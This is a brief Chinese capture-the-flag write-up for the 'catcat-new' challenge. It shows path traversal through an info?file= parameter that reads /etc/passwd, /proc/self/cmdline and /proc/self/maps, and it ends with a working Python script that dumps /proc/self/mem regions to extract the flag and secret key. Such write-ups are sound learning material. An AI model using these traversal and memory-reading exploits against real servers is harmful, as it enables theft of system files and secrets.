CTF-catcat-new

先判断这个题目是不是关于任意文件读取漏洞，读一个Linux都有的文件/etc/passwd

http://61.147.171.105:60014/info?file=../../../../../etc/passwd

../../../../../etc/passwd 是一个相对路径，用于访问文件系统中的 /etc/passwd 文件。

通过抓包发现Response中的Server是python,那说明该网站是有python运行的.既然是python，当前进程肯定是由python xxx.py启动的，只要能知道当时的命令是什么，就能获取xxx.py的名字，进而读取源码。linux确实有这么个文件，/proc/self/cmdline，用于获取当前启动进程的完整命令。

大部分的python网站脚本名都是app.py

/proc/self/maps来查看当前进程的内存映射情况

取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本，可一键获取flag.

import requests
import re

baseUrl = "http://61.147.171.105:58344/info?file=../../../../.."

if __name__ == "__main__":
    url = baseUrl + "/proc/self/maps"
    memInfoList = requests.get(url).text.split("\\n")
    mem = ""
    for i in memInfoList:
        memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if memAddress:
            start = int(memAddress.group(1), 16)
            end = int(memAddress.group(2), 16)
            infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
            mem = requests.get(infoUrl).text
            if re.findall(r"{[\w]+}", mem):
                print(re.findall(r"\w+{\w+}", mem))